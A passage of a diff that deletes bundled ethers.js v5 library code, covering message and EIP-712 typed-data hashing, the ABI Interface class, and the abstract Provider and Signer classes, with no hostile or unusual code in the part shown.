1; - return bytes; - }))) + "00"; - } - - // node_modules/@ethersproject/hash/lib.esm/message.js - var messagePrefix = "Ethereum Signed Message:\n"; - function hashMessage(message) { - if (typeof message === "string") { - message = toUtf8Bytes2(message); - } - return keccak2562(concat2([ - toUtf8Bytes2(messagePrefix), - toUtf8Bytes2(String(message.length)), - message - ])); - } - - // node_modules/@ethersproject/hash/lib.esm/typed-data.js - var __awaiter17 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger32 = new Logger2(version29); - var padding2 = new Uint8Array(32); - padding2.fill(0); - var NegativeOne4 = BigNumber2.from(-1); - var Zero5 = BigNumber2.from(0); - var One3 = BigNumber2.from(1); - var MaxUint2563 = BigNumber2.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - function hexPadRight2(value) { - const bytes = arrayify2(value); - const padOffset = bytes.length % 32; - if (padOffset) { - return hexConcat2([bytes, padding2.slice(padOffset)]); - } - return hexlify2(bytes); - } - var hexTrue2 = hexZeroPad2(One3.toHexString(), 32); - var hexFalse2 = hexZeroPad2(Zero5.toHexString(), 32); - var domainFieldTypes2 = { - name: "string", - version: "string", - chainId: "uint256", - verifyingContract: "address", - salt: "bytes32" - }; - var domainFieldNames2 = [ - "name", - "version", - "chainId", - "verifyingContract", - "salt" - ]; - function checkString2(key3) { - return function(value) { - if (typeof value !== "string") { - logger32.throwArgumentError(`invalid domain value for ${JSON.stringify(key3)}`, `domain.${key3}`, value); - } - return value; - }; - } - var domainChecks2 = { - name: checkString2("name"), - version: checkString2("version"), - chainId: function(value) { - try { - return BigNumber2.from(value).toString(); - } catch (error) { - } - return logger32.throwArgumentError(`invalid domain value for "chainId"`, "domain.chainId", value); - }, - verifyingContract: function(value) { - try { - return getAddress2(value).toLowerCase(); - } catch (error) { - } - return logger32.throwArgumentError(`invalid domain value "verifyingContract"`, "domain.verifyingContract", value); - }, - salt: function(value) { - try { - const bytes = arrayify2(value); - if (bytes.length !== 32) { - throw new Error("bad length"); - } - return hexlify2(bytes); - } catch (error) { - } - return logger32.throwArgumentError(`invalid domain value "salt"`, "domain.salt", value); - } - }; - function getBaseEncoder2(type) { - { - const match = type.match(/^(u?)int(\d*)$/); - if (match) { - const signed3 = match[1] === ""; - const width = parseInt(match[2] || "256"); - if (width % 8 !== 0 || width > 256 || match[2] && match[2] !== String(width)) { - logger32.throwArgumentError("invalid numeric width", "type", type); - } - const boundsUpper = MaxUint2563.mask(signed3 ? width - 1 : width); - const boundsLower = signed3 ? boundsUpper.add(One3).mul(NegativeOne4) : Zero5; - return function(value) { - const v = BigNumber2.from(value); - if (v.lt(boundsLower) || v.gt(boundsUpper)) { - logger32.throwArgumentError(`value out-of-bounds for ${type}`, "value", value); - } - return hexZeroPad2(v.toTwos(256).toHexString(), 32); - }; - } - } - { - const match = type.match(/^bytes(\d+)$/); - if (match) { - const width = parseInt(match[1]); - if (width === 0 || width > 32 || match[1] !== String(width)) { - logger32.throwArgumentError("invalid bytes width", "type", type); - } - return function(value) { - const bytes = arrayify2(value); - if (bytes.length !== width) { - logger32.throwArgumentError(`invalid length for ${type}`, "value", value); - } - return hexPadRight2(value); - }; - } - } - switch (type) { - case "address": - return function(value) { - return hexZeroPad2(getAddress2(value), 32); - }; - case "bool": - return function(value) { - return !value ? hexFalse2 : hexTrue2; - }; - case "bytes": - return function(value) { - return keccak2562(value); - }; - case "string": - return function(value) { - return id2(value); - }; - } - return null; - } - function encodeType2(name, fields) { - return `${name}(${fields.map(({ name: name2, type }) => type + " " + name2).join(",")})`; - } - var TypedDataEncoder2 = class _TypedDataEncoder2 { - constructor(types) { - defineReadOnly2(this, "types", Object.freeze(deepCopy2(types))); - defineReadOnly2(this, "_encoderCache", {}); - defineReadOnly2(this, "_types", {}); - const links = {}; - const parents = {}; - const subtypes = {}; - Object.keys(types).forEach((type) => { - links[type] = {}; - parents[type] = []; - subtypes[type] = {}; - }); - for (const name in types) { - const uniqueNames = {}; - types[name].forEach((field) => { - if (uniqueNames[field.name]) { - logger32.throwArgumentError(`duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, "types", types); - } - uniqueNames[field.name] = true; - const baseType = field.type.match(/^([^\x5b]*)(\x5b|$)/)[1]; - if (baseType === name) { - logger32.throwArgumentError(`circular type reference to ${JSON.stringify(baseType)}`, "types", types); - } - const encoder = getBaseEncoder2(baseType); - if (encoder) { - return; - } - if (!parents[baseType]) { - logger32.throwArgumentError(`unknown type ${JSON.stringify(baseType)}`, "types", types); - } - parents[baseType].push(name); - links[name][baseType] = true; - }); - } - const primaryTypes = Object.keys(parents).filter((n) => parents[n].length === 0); - if (primaryTypes.length === 0) { - logger32.throwArgumentError("missing primary type", "types", types); - } else if (primaryTypes.length > 1) { - logger32.throwArgumentError(`ambiguous primary types or unused types: ${primaryTypes.map((t) => JSON.stringify(t)).join(", ")}`, "types", types); - } - defineReadOnly2(this, "primaryType", primaryTypes[0]); - function checkCircular(type, found) { - if (found[type]) { - logger32.throwArgumentError(`circular type reference to ${JSON.stringify(type)}`, "types", types); - } - found[type] = true; - Object.keys(links[type]).forEach((child) => { - if (!parents[child]) { - return; - } - checkCircular(child, found); - Object.keys(found).forEach((subtype) => { - subtypes[subtype][child] = true; - }); - }); - delete found[type]; - } - checkCircular(this.primaryType, {}); - for (const name in subtypes) { - const st = Object.keys(subtypes[name]); - st.sort(); - this._types[name] = encodeType2(name, types[name]) + st.map((t) => encodeType2(t, types[t])).join(""); - } - } - getEncoder(type) { - let encoder = this._encoderCache[type]; - if (!encoder) { - encoder = this._encoderCache[type] = this._getEncoder(type); - } - return encoder; - } - _getEncoder(type) { - { - const encoder = getBaseEncoder2(type); - if (encoder) { - return encoder; - } - } - const match = type.match(/^(.*)(\x5b(\d*)\x5d)$/); - if (match) { - const subtype = match[1]; - const subEncoder = this.getEncoder(subtype); - const length = parseInt(match[3]); - return (value) => { - if (length >= 0 && value.length !== length) { - logger32.throwArgumentError("array length mismatch; expected length ${ arrayLength }", "value", value); - } - let result = value.map(subEncoder); - if (this._types[subtype]) { - result = result.map(keccak2562); - } - return keccak2562(hexConcat2(result)); - }; - } - const fields = this.types[type]; - if (fields) { - const encodedType = id2(this._types[type]); - return (value) => { - const values = fields.map(({ name, type: type2 }) => { - const result = this.getEncoder(type2)(value[name]); - if (this._types[type2]) { - return keccak2562(result); - } - return result; - }); - values.unshift(encodedType); - return hexConcat2(values); - }; - } - return logger32.throwArgumentError(`unknown type: ${type}`, "type", type); - } - encodeType(name) { - const result = this._types[name]; - if (!result) { - logger32.throwArgumentError(`unknown type: ${JSON.stringify(name)}`, "name", name); - } - return result; - } - encodeData(type, value) { - return this.getEncoder(type)(value); - } - hashStruct(name, value) { - return keccak2562(this.encodeData(name, value)); - } - encode(value) { - return this.encodeData(this.primaryType, value); - } - hash(value) { - return this.hashStruct(this.primaryType, value); - } - _visit(type, value, callback) { - { - const encoder = getBaseEncoder2(type); - if (encoder) { - return callback(type, value); - } - } - const match = type.match(/^(.*)(\x5b(\d*)\x5d)$/); - if (match) { - const subtype = match[1]; - const length = parseInt(match[3]); - if (length >= 0 && value.length !== length) { - logger32.throwArgumentError("array length mismatch; expected length ${ arrayLength }", "value", value); - } - return value.map((v) => this._visit(subtype, v, callback)); - } - const fields = this.types[type]; - if (fields) { - return fields.reduce((accum, { name, type: type2 }) => { - accum[name] = this._visit(type2, value[name], callback); - return accum; - }, {}); - } - return logger32.throwArgumentError(`unknown type: ${type}`, "type", type); - } - visit(value, callback) { - return this._visit(this.primaryType, value, callback); - } - static from(types) { - return new _TypedDataEncoder2(types); - } - static getPrimaryType(types) { - return _TypedDataEncoder2.from(types).primaryType; - } - static hashStruct(name, types, value) { - return _TypedDataEncoder2.from(types).hashStruct(name, value); - } - static hashDomain(domain) { - const domainFields = []; - for (const name in domain) { - const type = domainFieldTypes2[name]; - if (!type) { - logger32.throwArgumentError(`invalid typed-data domain key: ${JSON.stringify(name)}`, "domain", domain); - } - domainFields.push({ name, type }); - } - domainFields.sort((a, b) => { - return domainFieldNames2.indexOf(a.name) - domainFieldNames2.indexOf(b.name); - }); - return _TypedDataEncoder2.hashStruct("EIP712Domain", { EIP712Domain: domainFields }, domain); - } - static encode(domain, types, value) { - return hexConcat2([ - "0x1901", - _TypedDataEncoder2.hashDomain(domain), - _TypedDataEncoder2.from(types).hash(value) - ]); - } - static hash(domain, types, value) { - return keccak2562(_TypedDataEncoder2.encode(domain, types, value)); - } - // Replaces all address types with ENS names with their looked up address - static resolveNames(domain, types, value, resolveName2) { - return __awaiter17(this, void 0, void 0, function* () { - domain = shallowCopy2(domain); - const ensCache = {}; - if (domain.verifyingContract && !isHexString2(domain.verifyingContract, 20)) { - ensCache[domain.verifyingContract] = "0x"; - } - const encoder = _TypedDataEncoder2.from(types); - encoder.visit(value, (type, value2) => { - if (type === "address" && !isHexString2(value2, 20)) { - ensCache[value2] = "0x"; - } - return value2; - }); - for (const name in ensCache) { - ensCache[name] = yield resolveName2(name); - } - if (domain.verifyingContract && ensCache[domain.verifyingContract]) { - domain.verifyingContract = ensCache[domain.verifyingContract]; - } - value = encoder.visit(value, (type, value2) => { - if (type === "address" && ensCache[value2]) { - return ensCache[value2]; - } - return value2; - }); - return { domain, value }; - }); - } - static getPayload(domain, types, value) { - _TypedDataEncoder2.hashDomain(domain); - const domainValues = {}; - const domainTypes = []; - domainFieldNames2.forEach((name) => { - const value2 = domain[name]; - if (value2 == null) { - return; - } - domainValues[name] = domainChecks2[name](value2); - domainTypes.push({ name, type: domainFieldTypes2[name] }); - }); - const encoder = _TypedDataEncoder2.from(types); - const typesWithDomain = shallowCopy2(types); - if (typesWithDomain.EIP712Domain) { - logger32.throwArgumentError("types must not contain EIP712Domain type", "types.EIP712Domain", types); - } else { - typesWithDomain.EIP712Domain = domainTypes; - } - encoder.encode(value); - return { - types: typesWithDomain, - domain: domainValues, - primaryType: encoder.primaryType, - message: encoder.visit(value, (type, value2) => { - if (type.match(/^bytes(\d*)/)) { - return hexlify2(arrayify2(value2)); - } - if (type.match(/^u?int/)) { - return BigNumber2.from(value2).toString(); - } - switch (type) { - case "address": - return value2.toLowerCase(); - case "bool": - return !!value2; - case "string": - if (typeof value2 !== "string") { - logger32.throwArgumentError(`invalid string`, "value", value2); - } - return value2; - } - return logger32.throwArgumentError("unsupported type", "type", type); - }) - }; - } - }; - - // node_modules/@ethersproject/abi/lib.esm/interface.js - var logger33 = new Logger2(version25); - var LogDescription = class extends Description2 { - }; - var TransactionDescription = class extends Description2 { - }; - var ErrorDescription = class extends Description2 { - }; - var Indexed = class extends Description2 { - static isIndexed(value) { - return !!(value && value._isIndexed); - } - }; - var BuiltinErrors = { - "0x08c379a0": { signature: "Error(string)", name: "Error", inputs: ["string"], reason: true }, - "0x4e487b71": { signature: "Panic(uint256)", name: "Panic", inputs: ["uint256"] } - }; - function wrapAccessError(property, error) { - const wrap = new Error(`deferred error during ABI decoding triggered accessing ${property}`); - wrap.error = error; - return wrap; - } - var Interface = class { - constructor(fragments) { - let abi = []; - if (typeof fragments === "string") { - abi = JSON.parse(fragments); - } else { - abi = fragments; - } - defineReadOnly2(this, "fragments", abi.map((fragment) => { - return Fragment.from(fragment); - }).filter((fragment) => fragment != null)); - defineReadOnly2(this, "_abiCoder", getStatic2(new.target, "getAbiCoder")()); - defineReadOnly2(this, "functions", {}); - defineReadOnly2(this, "errors", {}); - defineReadOnly2(this, "events", {}); - defineReadOnly2(this, "structs", {}); - this.fragments.forEach((fragment) => { - let bucket = null; - switch (fragment.type) { - case "constructor": - if (this.deploy) { - logger33.warn("duplicate definition - constructor"); - return; - } - defineReadOnly2(this, "deploy", fragment); - return; - case "function": - bucket = this.functions; - break; - case "event": - bucket = this.events; - break; - case "error": - bucket = this.errors; - break; - default: - return; - } - let signature3 = fragment.format(); - if (bucket[signature3]) { - logger33.warn("duplicate definition - " + signature3); - return; - } - bucket[signature3] = fragment; - }); - if (!this.deploy) { - defineReadOnly2(this, "deploy", ConstructorFragment.from({ - payable: false, - type: "constructor" - })); - } - defineReadOnly2(this, "_isInterface", true); - } - format(format) { - if (!format) { - format = FormatTypes.full; - } - if (format === FormatTypes.sighash) { - logger33.throwArgumentError("interface does not support formatting sighash", "format", format); - } - const abi = this.fragments.map((fragment) => fragment.format(format)); - if (format === FormatTypes.json) { - return JSON.stringify(abi.map((j) => JSON.parse(j))); - } - return abi; - } - // Sub-classes can override these to handle other blockchains - static getAbiCoder() { - return defaultAbiCoder; - } - static getAddress(address) { - return getAddress2(address); - } - static getSighash(fragment) { - return hexDataSlice2(id2(fragment.format()), 0, 4); - } - static getEventTopic(eventFragment) { - return id2(eventFragment.format()); - } - // Find a function definition by any means necessary (unless it is ambiguous) - getFunction(nameOrSignatureOrSighash) { - if (isHexString2(nameOrSignatureOrSighash)) { - for (const name in this.functions) { - if (nameOrSignatureOrSighash === this.getSighash(name)) { - return this.functions[name]; - } - } - logger33.throwArgumentError("no matching function", "sighash", nameOrSignatureOrSighash); - } - if (nameOrSignatureOrSighash.indexOf("(") === -1) { - const name = nameOrSignatureOrSighash.trim(); - const matching = Object.keys(this.functions).filter((f) => f.split( - "(" - /* fix:) */ - )[0] === name); - if (matching.length === 0) { - logger33.throwArgumentError("no matching function", "name", name); - } else if (matching.length > 1) { - logger33.throwArgumentError("multiple matching functions", "name", name); - } - return this.functions[matching[0]]; - } - const result = this.functions[FunctionFragment.fromString(nameOrSignatureOrSighash).format()]; - if (!result) { - logger33.throwArgumentError("no matching function", "signature", nameOrSignatureOrSighash); - } - return result; - } - // Find an event definition by any means necessary (unless it is ambiguous) - getEvent(nameOrSignatureOrTopic) { - if (isHexString2(nameOrSignatureOrTopic)) { - const topichash = nameOrSignatureOrTopic.toLowerCase(); - for (const name in this.events) { - if (topichash === this.getEventTopic(name)) { - return this.events[name]; - } - } - logger33.throwArgumentError("no matching event", "topichash", topichash); - } - if (nameOrSignatureOrTopic.indexOf("(") === -1) { - const name = nameOrSignatureOrTopic.trim(); - const matching = Object.keys(this.events).filter((f) => f.split( - "(" - /* fix:) */ - )[0] === name); - if (matching.length === 0) { - logger33.throwArgumentError("no matching event", "name", name); - } else if (matching.length > 1) { - logger33.throwArgumentError("multiple matching events", "name", name); - } - return this.events[matching[0]]; - } - const result = this.events[EventFragment.fromString(nameOrSignatureOrTopic).format()]; - if (!result) { - logger33.throwArgumentError("no matching event", "signature", nameOrSignatureOrTopic); - } - return result; - } - // Find a function definition by any means necessary (unless it is ambiguous) - getError(nameOrSignatureOrSighash) { - if (isHexString2(nameOrSignatureOrSighash)) { - const getSighash = getStatic2(this.constructor, "getSighash"); - for (const name in this.errors) { - const error = this.errors[name]; - if (nameOrSignatureOrSighash === getSighash(error)) { - return this.errors[name]; - } - } - logger33.throwArgumentError("no matching error", "sighash", nameOrSignatureOrSighash); - } - if (nameOrSignatureOrSighash.indexOf("(") === -1) { - const name = nameOrSignatureOrSighash.trim(); - const matching = Object.keys(this.errors).filter((f) => f.split( - "(" - /* fix:) */ - )[0] === name); - if (matching.length === 0) { - logger33.throwArgumentError("no matching error", "name", name); - } else if (matching.length > 1) { - logger33.throwArgumentError("multiple matching errors", "name", name); - } - return this.errors[matching[0]]; - } - const result = this.errors[FunctionFragment.fromString(nameOrSignatureOrSighash).format()]; - if (!result) { - logger33.throwArgumentError("no matching error", "signature", nameOrSignatureOrSighash); - } - return result; - } - // Get the sighash (the bytes4 selector) used by Solidity to identify a function - getSighash(fragment) { - if (typeof fragment === "string") { - try { - fragment = this.getFunction(fragment); - } catch (error) { - try { - fragment = this.getError(fragment); - } catch (_) { - throw error; - } - } - } - return getStatic2(this.constructor, "getSighash")(fragment); - } - // Get the topic (the bytes32 hash) used by Solidity to identify an event - getEventTopic(eventFragment) { - if (typeof eventFragment === "string") { - eventFragment = this.getEvent(eventFragment); - } - return getStatic2(this.constructor, "getEventTopic")(eventFragment); - } - _decodeParams(params, data) { - return this._abiCoder.decode(params, data); - } - _encodeParams(params, values) { - return this._abiCoder.encode(params, values); - } - encodeDeploy(values) { - return this._encodeParams(this.deploy.inputs, values || []); - } - decodeErrorResult(fragment, data) { - if (typeof fragment === "string") { - fragment = this.getError(fragment); - } - const bytes = arrayify2(data); - if (hexlify2(bytes.slice(0, 4)) !== this.getSighash(fragment)) { - logger33.throwArgumentError(`data signature does not match error ${fragment.name}.`, "data", hexlify2(bytes)); - } - return this._decodeParams(fragment.inputs, bytes.slice(4)); - } - encodeErrorResult(fragment, values) { - if (typeof fragment === "string") { - fragment = this.getError(fragment); - } - return hexlify2(concat2([ - this.getSighash(fragment), - this._encodeParams(fragment.inputs, values || []) - ])); - } - // Decode the data for a function call (e.g. tx.data) - decodeFunctionData(functionFragment, data) { - if (typeof functionFragment === "string") { - functionFragment = this.getFunction(functionFragment); - } - const bytes = arrayify2(data); - if (hexlify2(bytes.slice(0, 4)) !== this.getSighash(functionFragment)) { - logger33.throwArgumentError(`data signature does not match function ${functionFragment.name}.`, "data", hexlify2(bytes)); - } - return this._decodeParams(functionFragment.inputs, bytes.slice(4)); - } - // Encode the data for a function call (e.g. tx.data) - encodeFunctionData(functionFragment, values) { - if (typeof functionFragment === "string") { - functionFragment = this.getFunction(functionFragment); - } - return hexlify2(concat2([ - this.getSighash(functionFragment), - this._encodeParams(functionFragment.inputs, values || []) - ])); - } - // Decode the result from a function call (e.g. from eth_call) - decodeFunctionResult(functionFragment, data) { - if (typeof functionFragment === "string") { - functionFragment = this.getFunction(functionFragment); - } - let bytes = arrayify2(data); - let reason = null; - let message = ""; - let errorArgs = null; - let errorName = null; - let errorSignature = null; - switch (bytes.length % this._abiCoder._getWordSize()) { - case 0: - try { - return this._abiCoder.decode(functionFragment.outputs, bytes); - } catch (error) { - } - break; - case 4: { - const selector = hexlify2(bytes.slice(0, 4)); - const builtin = BuiltinErrors[selector]; - if (builtin) { - errorArgs = this._abiCoder.decode(builtin.inputs, bytes.slice(4)); - errorName = builtin.name; - errorSignature = builtin.signature; - if (builtin.reason) { - reason = errorArgs[0]; - } - if (errorName === "Error") { - message = `; VM Exception while processing transaction: reverted with reason string ${JSON.stringify(errorArgs[0])}`; - } else if (errorName === "Panic") { - message = `; VM Exception while processing transaction: reverted with panic code ${errorArgs[0]}`; - } - } else { - try { - const error = this.getError(selector); - errorArgs = this._abiCoder.decode(error.inputs, bytes.slice(4)); - errorName = error.name; - errorSignature = error.format(); - } catch (error) { - } - } - break; - } - } - return logger33.throwError("call revert exception" + message, Logger2.errors.CALL_EXCEPTION, { - method: functionFragment.format(), - data: hexlify2(data), - errorArgs, - errorName, - errorSignature, - reason - }); - } - // Encode the result for a function call (e.g. for eth_call) - encodeFunctionResult(functionFragment, values) { - if (typeof functionFragment === "string") { - functionFragment = this.getFunction(functionFragment); - } - return hexlify2(this._abiCoder.encode(functionFragment.outputs, values || [])); - } - // Create the filter for the event with search criteria (e.g. for eth_filterLog) - encodeFilterTopics(eventFragment, values) { - if (typeof eventFragment === "string") { - eventFragment = this.getEvent(eventFragment); - } - if (values.length > eventFragment.inputs.length) { - logger33.throwError("too many arguments for " + eventFragment.format(), Logger2.errors.UNEXPECTED_ARGUMENT, { - argument: "values", - value: values - }); - } - let topics = []; - if (!eventFragment.anonymous) { - topics.push(this.getEventTopic(eventFragment)); - } - const encodeTopic = (param, value) => { - if (param.type === "string") { - return id2(value); - } else if (param.type === "bytes") { - return keccak2562(hexlify2(value)); - } - if (param.type === "bool" && typeof value === "boolean") { - value = value ? "0x01" : "0x00"; - } - if (param.type.match(/^u?int/)) { - value = BigNumber2.from(value).toHexString(); - } - if (param.type === "address") { - this._abiCoder.encode(["address"], [value]); - } - return hexZeroPad2(hexlify2(value), 32); - }; - values.forEach((value, index2) => { - let param = eventFragment.inputs[index2]; - if (!param.indexed) { - if (value != null) { - logger33.throwArgumentError("cannot filter non-indexed parameters; must be null", "contract." + param.name, value); - } - return; - } - if (value == null) { - topics.push(null); - } else if (param.baseType === "array" || param.baseType === "tuple") { - logger33.throwArgumentError("filtering with tuples or arrays not supported", "contract." + param.name, value); - } else if (Array.isArray(value)) { - topics.push(value.map((value2) => encodeTopic(param, value2))); - } else { - topics.push(encodeTopic(param, value)); - } - }); - while (topics.length && topics[topics.length - 1] === null) { - topics.pop(); - } - return topics; - } - encodeEventLog(eventFragment, values) { - if (typeof eventFragment === "string") { - eventFragment = this.getEvent(eventFragment); - } - const topics = []; - const dataTypes = []; - const dataValues = []; - if (!eventFragment.anonymous) { - topics.push(this.getEventTopic(eventFragment)); - } - if (values.length !== eventFragment.inputs.length) { - logger33.throwArgumentError("event arguments/values mismatch", "values", values); - } - eventFragment.inputs.forEach((param, index2) => { - const value = values[index2]; - if (param.indexed) { - if (param.type === "string") { - topics.push(id2(value)); - } else if (param.type === "bytes") { - topics.push(keccak2562(value)); - } else if (param.baseType === "tuple" || param.baseType === "array") { - throw new Error("not implemented"); - } else { - topics.push(this._abiCoder.encode([param.type], [value])); - } - } else { - dataTypes.push(param); - dataValues.push(value); - } - }); - return { - data: this._abiCoder.encode(dataTypes, dataValues), - topics - }; - } - // Decode a filter for the event and the search criteria - decodeEventLog(eventFragment, data, topics) { - if (typeof eventFragment === "string") { - eventFragment = this.getEvent(eventFragment); - } - if (topics != null && !eventFragment.anonymous) { - let topicHash = this.getEventTopic(eventFragment); - if (!isHexString2(topics[0], 32) || topics[0].toLowerCase() !== topicHash) { - logger33.throwError("fragment/topic mismatch", Logger2.errors.INVALID_ARGUMENT, { argument: "topics[0]", expected: topicHash, value: topics[0] }); - } - topics = topics.slice(1); - } - let indexed = []; - let nonIndexed = []; - let dynamic = []; - eventFragment.inputs.forEach((param, index2) => { - if (param.indexed) { - if (param.type === "string" || param.type === "bytes" || param.baseType === "tuple" || param.baseType === "array") { - indexed.push(ParamType.fromObject({ type: "bytes32", name: param.name })); - dynamic.push(true); - } else { - indexed.push(param); - dynamic.push(false); - } - } else { - nonIndexed.push(param); - dynamic.push(false); - } - }); - let resultIndexed = topics != null ? this._abiCoder.decode(indexed, concat2(topics)) : null; - let resultNonIndexed = this._abiCoder.decode(nonIndexed, data, true); - let result = []; - let nonIndexedIndex = 0, indexedIndex = 0; - eventFragment.inputs.forEach((param, index2) => { - if (param.indexed) { - if (resultIndexed == null) { - result[index2] = new Indexed({ _isIndexed: true, hash: null }); - } else if (dynamic[index2]) { - result[index2] = new Indexed({ _isIndexed: true, hash: resultIndexed[indexedIndex++] }); - } else { - try { - result[index2] = resultIndexed[indexedIndex++]; - } catch (error) { - result[index2] = error; - } - } - } else { - try { - result[index2] = resultNonIndexed[nonIndexedIndex++]; - } catch (error) { - result[index2] = error; - } - } - if (param.name && result[param.name] == null) { - const value = result[index2]; - if (value instanceof Error) { - Object.defineProperty(result, param.name, { - enumerable: true, - get: () => { - throw wrapAccessError(`property ${JSON.stringify(param.name)}`, value); - } - }); - } else { - result[param.name] = value; - } - } - }); - for (let i = 0; i < result.length; i++) { - const value = result[i]; - if (value instanceof Error) { - Object.defineProperty(result, i, { - enumerable: true, - get: () => { - throw wrapAccessError(`index ${i}`, value); - } - }); - } - } - return Object.freeze(result); - } - // Given a transaction, find the matching function fragment (if any) and - // determine all its properties and call parameters - parseTransaction(tx) { - let fragment = this.getFunction(tx.data.substring(0, 10).toLowerCase()); - if (!fragment) { - return null; - } - return new TransactionDescription({ - args: this._abiCoder.decode(fragment.inputs, "0x" + tx.data.substring(10)), - functionFragment: fragment, - name: fragment.name, - signature: fragment.format(), - sighash: this.getSighash(fragment), - value: BigNumber2.from(tx.value || "0") - }); - } - // @TODO - //parseCallResult(data: BytesLike): ?? - // Given an event log, find the matching event fragment (if any) and - // determine all its properties and values - parseLog(log) { - let fragment = this.getEvent(log.topics[0]); - if (!fragment || fragment.anonymous) { - return null; - } - return new LogDescription({ - eventFragment: fragment, - name: fragment.name, - signature: fragment.format(), - topic: this.getEventTopic(fragment), - args: this.decodeEventLog(fragment, log.data, log.topics) - }); - } - parseError(data) { - const hexData = hexlify2(data); - let fragment = this.getError(hexData.substring(0, 10).toLowerCase()); - if (!fragment) { - return null; - } - return new ErrorDescription({ - args: this._abiCoder.decode(fragment.inputs, "0x" + hexData.substring(10)), - errorFragment: fragment, - name: fragment.name, - signature: fragment.format(), - sighash: this.getSighash(fragment) - }); - } - /* - static from(value: Array | string | Interface) { - if (Interface.isInterface(value)) { - return value; - } - if (typeof(value) === "string") { - return new Interface(JSON.parse(value)); - } - return new Interface(value); - } - */ - static isInterface(value) { - return !!(value && value._isInterface); - } - }; - - // node_modules/@ethersproject/abstract-provider/lib.esm/_version.js - var version30 = "abstract-provider/5.7.0"; - - // node_modules/@ethersproject/abstract-provider/lib.esm/index.js - var __awaiter18 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger34 = new Logger2(version30); - var ForkEvent2 = class extends Description2 { - static isForkEvent(value) { - return !!(value && value._isForkEvent); - } - }; - var Provider2 = class _Provider2 { - constructor() { - logger34.checkAbstract(new.target, _Provider2); - defineReadOnly2(this, "_isProvider", true); - } - getFeeData() { - return __awaiter18(this, void 0, void 0, function* () { - const { block, gasPrice } = yield resolveProperties2({ - block: this.getBlock("latest"), - gasPrice: this.getGasPrice().catch((error) => { - return null; - }) - }); - let lastBaseFeePerGas = null, maxFeePerGas = null, maxPriorityFeePerGas = null; - if (block && block.baseFeePerGas) { - lastBaseFeePerGas = block.baseFeePerGas; - maxPriorityFeePerGas = BigNumber2.from("1500000000"); - maxFeePerGas = block.baseFeePerGas.mul(2).add(maxPriorityFeePerGas); - } - return { lastBaseFeePerGas, maxFeePerGas, maxPriorityFeePerGas, gasPrice }; - }); - } - // Alias for "on" - addListener(eventName, listener) { - return this.on(eventName, listener); - } - // Alias for "off" - removeListener(eventName, listener) { - return this.off(eventName, listener); - } - static isProvider(value) { - return !!(value && value._isProvider); - } - }; - - // node_modules/@ethersproject/abstract-signer/lib.esm/_version.js - var version31 = "abstract-signer/5.7.0"; - - // node_modules/@ethersproject/abstract-signer/lib.esm/index.js - var __awaiter19 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger35 = new Logger2(version31); - var allowedTransactionKeys3 = [ - "accessList", - "ccipReadEnabled", - "chainId", - "customData", - "data", - "from", - "gasLimit", - "gasPrice", - "maxFeePerGas", - "maxPriorityFeePerGas", - "nonce", - "to", - "type", - "value" - ]; - var forwardErrors2 = [ - Logger2.errors.INSUFFICIENT_FUNDS, - Logger2.errors.NONCE_EXPIRED, - Logger2.errors.REPLACEMENT_UNDERPRICED - ]; - var Signer2 = class _Signer2 { - /////////////////// - // Sub-classes MUST call super - constructor() { - logger35.checkAbstract(new.target, _Signer2); - defineReadOnly2(this, "_isSigner", true); - } - /////////////////// - // Sub-classes MAY override these - getBalance(blockTag) { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("getBalance"); - return yield this.provider.getBalance(this.getAddress(), blockTag); - }); - } - getTransactionCount(blockTag) { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("getTransactionCount"); - return yield this.provider.getTransactionCount(this.getAddress(), blockTag); - }); - } - // Populates "from" if unspecified, and estimates the gas for the transaction - estimateGas(transaction) { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("estimateGas"); - const tx = yield resolveProperties2(this.checkTransaction(transaction)); - return yield this.provider.estimateGas(tx); - }); - } - // Populates "from" if unspecified, and calls with the transaction - call(transaction, blockTag) { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("call"); - const tx = yield resolveProperties2(this.checkTransaction(transaction)); - return yield this.provider.call(tx, blockTag); - }); - } - // Populates all fields in a transaction, signs it and sends it to the network - sendTransaction(transaction) { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("sendTransaction"); - const tx = yield this.populateTransaction(transaction); - const signedTx = yield this.signTransaction(tx); - return yield this.provider.sendTransaction(signedTx); - }); - } - getChainId() { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("getChainId"); - const network = yield this.provider.getNetwork(); - return network.chainId; - }); - } - getGasPrice() { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("getGasPrice"); - return yield this.provider.getGasPrice(); - }); - } - getFeeData() { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("getFeeData"); - return yield this.provider.getFeeData(); - }); - } - resolveName(name) { - return __awaiter19(this, void 0, void 0, function* () { - this._checkProvider("resolveName"); 